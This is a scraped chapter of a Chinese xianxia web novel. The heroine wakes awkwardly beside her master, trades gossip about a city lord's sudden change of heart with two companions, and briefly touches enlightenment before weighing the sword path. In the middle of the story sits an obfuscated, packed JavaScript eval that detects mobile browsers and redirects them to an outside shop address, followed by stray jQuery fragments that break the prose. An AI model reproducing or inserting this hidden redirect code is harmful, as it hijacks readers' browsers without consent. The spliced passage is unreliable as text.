66. 平沙城(九)

作品:《烬天阙

    荀南烟一睁眼,文仲景的侧脸就进了视线。


    他脸廓的线条较为柔和,两人之间挨的极近,荀南烟只要稍稍抬额,就能碰到他的下颔骨。


    她呼吸一滞,目光下意识移动,果不其然,自己的手正紧紧地扒着文仲景,整个人近三分之二都压在了对方身上。


    两道温热的气息交织在半空,似乎无形中多了几分拉扯来往的意味。


    荀南烟咽咽口水,很明显眼下的一切正在昭示着“她高估了自己的睡姿”这一事实,她飞速起身下榻,站在地上猛吸了两口新鲜空气想要缓解一下脑海中的迟钝。


    尹问水就是在这个时候来拯救她的尴尬的,她友好询问需要什么帮助时,荀南烟想也不想就把床榻的事情答了上去。


    尹问水缓缓看了屋内仅存的床榻一眼,除去文仲景躺的那半边以外,剩下半边有点凌乱,很明显有另一个人睡过。


    她安静地盯着荀南烟许久,才道,“……为何昨晚不向城主府说明?”


    外面又不是没有守夜的修士。


    荀南烟脑子中的弦彻底断了,她憋了半天,只挤出来一句:“是、是吗……”


    她原本想用尬笑缓解一下气氛,却在一瞬间对上尹问水看傻子般的眼神。


    于是干脆不提这件事,转了话题,“邪祟的事查的怎么样了?”


    “这便是我来寻道友的原因。”


    尹问水抬眼。


    “昨夜丑时,又死了两个人。”


    *


    荀南烟被放了出来——由于昨晚的事情,他们初步摆脱了嫌疑,但介于竹月没有被找到,活动范围局限在城主府之中。


    荀南烟与公孙霞和行悟接了头,她简单讲了一下竹月递给自己的消息,公孙霞率先发出质疑,“她能行?”


    对于她和竹月之间暗地里的争端,荀南烟已经见怪不怪,安抚道,“如今我们也只能相信她。”


    公孙霞轻啧一声,但也明白事情的道理,不再多说。


    “不过,”她提出了另一个疑惑,“为什么竹月会让你小心城主?”


    荀南烟微顿,思虑一下,随后将那日城主府前发生的事情告知,“竹月让我们小心城主,应当就是这个原因。”


    “我打听过了。”荀南烟说话的时候飞速抬眼扫了下周围,尹问水没有再让修士明面上盯着他们,因此看不见什么人影。


    她压低了声音,“这个城主赵承平出自赵系旁支,两百多年前上的任。”


    荀南烟恰到好处的一顿,“他……对此地的百姓似乎并不怎么好。”


    透露消息的修士欲遮欲掩,也没细说,荀南烟只能隐约察觉到那种微妙。


    “只是两年前,这位城主外出时莫名失踪,当时城主府派了不少修士寻找,依然没找到。”


    “随后,城主被一个女修送了回来——就是那个尹问水。再然后,这位城主就莫名其妙变了性子……”荀南烟再次战术性停顿,“甚至比以前更关心城中百姓了。”


    据说,是生死之间一念看透,从此改信佛了。


    “怎么看都是做了虚心事才信佛祖。”行悟忍不住吐槽一句。


    公孙霞诧异,“我还以为你们这些秃驴会说放下屠刀立地成佛呢。”


    “那得看是什么人,”行悟忍不住反驳,“这句话只是劝人弃恶从善,又没说不用受到惩罚。”


    他停顿一下,忍不住继续说,“其实……我一直觉得,成佛路上本身就是一种惩罚。得忍受旁人难以忍受的苦难——这样才能共情苍生,成为所谓的‘佛’。”


    “所以我这样的人,大抵是成不了佛的,”行悟抬头,看向瓦缝倾泻下来的阳光,“我忍受不了那些东西。”


    他说这话的时候,语气有些低落,荀南烟敏锐察觉到了这一点,她开口安慰,“这也没什么,人嘛,我倒觉得能把自己的一生活明白就行了。”


    “成佛、成神,会考虑这种问题的只有两种人。”


    荀南烟及时停顿,公孙霞忍不住追问,“哪两种人?”


    “要么就是圣贤,要么就是疯子。”荀南烟煞有其事地摸摸下巴回答,“那个同悲教不是就说要成神吗?”


    “一般的人也不用考虑这些。成神、成佛,离我们确实有点遥远。”


    “或许我们只用想怎么过明白这一生就好了,”荀南烟语气中不由得带上了几分认真思考,“毕竟我们不是圣贤,也不是疯子,就只是尘世中普通的人。”


    她一抬头,便看见了公孙霞和行悟投来奇怪的目光,“你们这是什么表情?”


    “你知道吗?”行悟不可思议开口,“我刚刚居然在你身上感受到了……”


    他支吾着找出一个词形容,“几分佛性。”


    公孙霞则更为直接,“你以前说话从不这样的。”


    “这种东西,像是文长老会说的,我刚刚差点以为你被文长老夺舍了。”


    她又问,“这是不是文长老跟你说的话?”


    “放屁,”荀南烟勃然大怒,“我自己想的,跟他有什么关系!”


    说完后忍不住询问,“真的很像吗?”


    两人一致点头,“挺像的。”


    心中像是滑过了什么,荀南烟一时语凝。


    很奇怪的感觉,好像心脏变成了云,不由自主软下去了一块。


    自从涅槃境出来后,她好像就看开了不少事情,能够平静看着眼前发生的一切,对于往事也没有那么介怀了。


    以前那个荀南烟生活中的狼狈,被无形抚平了褶皱,心中明镜上的尘埃被她平复的心情一点点扫去,映出了原本的样子。


    一个不完美,但也不算太糟的样子。


    她感觉有什么东西在悄然变化,于是忍不住又问了一句,“真的很像吗?”


    “有点像。”公孙霞再次予以肯定。


    很奇怪的感觉。


    升仙门的时候,文仲景倒是跟她讨论过关于师徒的话题。


    “有的时候,弟子是最像师尊的那个人。”


    “欲看人父母,必先看其子;若要看师尊是什么样的人,看他的徒弟便可知一二。”


    “成为像你一样啰嗦的人吗?”荀南烟想象了一下那个画面,打了个寒战,“太奇怪了。”


    文仲景哑然失笑,“并非如此。”


    “一个人的性格、所要走的道,皆与之经历有关,对于与师尊关系亲近的弟子来说,师尊便是影响其最大的人。”


    “与其说父母、师尊有重要的影响,倒不如说,所遇之人、事,乃至花鸟鱼虫,都会融为你的一部分。”


    旁边的公孙霞和行悟不知为何渐渐安静下来,城主府中幽静安谧,清风缓行,柔和地扑在她的脸颊上。


    周遭的窸动声忽然在她耳边放大,枝叶微颤,露水悄然从上方滑落。


    她抬起头,枝头白栀初绽,花瓣上凝着露水,模糊映着下方的场景。


    露花倒影。


    她身有所见万物之影。


    故而万物成她之道。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881703|184694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    道非凭空而生的。荀南烟忽然意识到这一点。


    清流从灵台倾涌,全身畅走,泠泠点在眉心。


    她抬手接了一滴落下的露水,低头看清凉溶进指节,刹那生悟。


    万物之影,亦万物之道。


    此谓——


    传承。


    *


    忽地晃神,荀南烟从清净定神的状态中退出,接住露水的手张开,掌心灵光瞬间闪入,转眼便是公孙霞和行悟惊鄂的神色。


    “南烟……你……”公孙霞喃喃出声,“你悟道了?”


    悟道。


    的确很适合形容刚才的状态。


    荀南烟抿唇,摇摇头,“还差一点。”


    虽有所悟,但却好似隔了一层薄膜,像是差点火候。


    差点什么呢?


    荀南烟说不出来。


    公孙霞从震惊中回神,兴奋不已,“悟道当然不是一朝一夕的事情了,你方才的状态,分明是进入了‘极’。”


    天道之极,人道大成。


    “你知道这意味着什么吗?”公孙霞满眼都是惊喜,“有了第一次进入‘极’的经历,往后你再想进入这种状态,将比旁人更加容易。”


    “你这才结丹多久,就能进入‘极’,荀南烟,你知道自己的天赋有多高吗?”


    不对。


    荀南烟皱眉。


    在现代的时候,她应该是个天资愚钝之人才对。


    脑子有什么念头闪过,她正要去抓,却被公孙霞打断思绪,对方语气肯定,“你以后定然前途无量。”


    “有多少修士,一生都在追求‘极’的境界,它不同于武道境界,更接近于天道。”


    “荀施主,”行悟犹豫着开口,“你有没有考虑过走剑道?”


    两人皆侧目望他,荀南烟疑惑询问,“为什么忽然这么说?”


    “因为剑修最讲究一个‘极’字,我曾听方丈说,感受过‘极’的存在的剑修最容易悟出剑意,也就是立道心。”


    行悟想了想,又解释道,“倒不是说其他修士感受不了‘极’的存在,无论是什么样的修士,立道之后修为、心性都会日进千里,但剑道却有其他几道无法比拟的优势。”


    “剑道的修行方式很成熟,它是上古时期至今将武道与灵道结合的最好的路子。”


    上古时期武道重修为,灵道重开悟,剑修是典型的两手抓。


    剑道……


    荀南烟微顿,她现在早已不像五年前那样无知,对剑道的了解虽然说不上多,但也略知一二。


    通俗来讲,剑道是这个世界堪称挂比的存在,与体道同脱胎于武道,但它从诞生起就一直在接受天道的眷顾,传承保留最为完整不说,人才辈出,似乎修真界从来就没缺过顶尖的剑修,和传承动不动就佚失的体道形成了惨烈而鲜明的对比。


    故而当今修真界以剑修人数最多,而剑修……


    千年前的剑宗出了两位顶尖的剑道大能,一位是宗主清河真人,她应当是万年来剑道最为极致的一人。


    另一位则是其师兄闻怀剑尊,在宗主之位争夺中以半招落败,干脆也不再钻研极境,转而开始寻找最适合普遍修行的剑道路子,后被奉为“剑尊”。


    可以说,两位大能,一位定了剑道的上限,另一位则定了剑道的下限。


    至此以后,天下剑道,尽归凌云。


    荀南烟抬头,屋檐瓦片遮住了上方的阳光。


    凌云剑宗,她是一定要去的。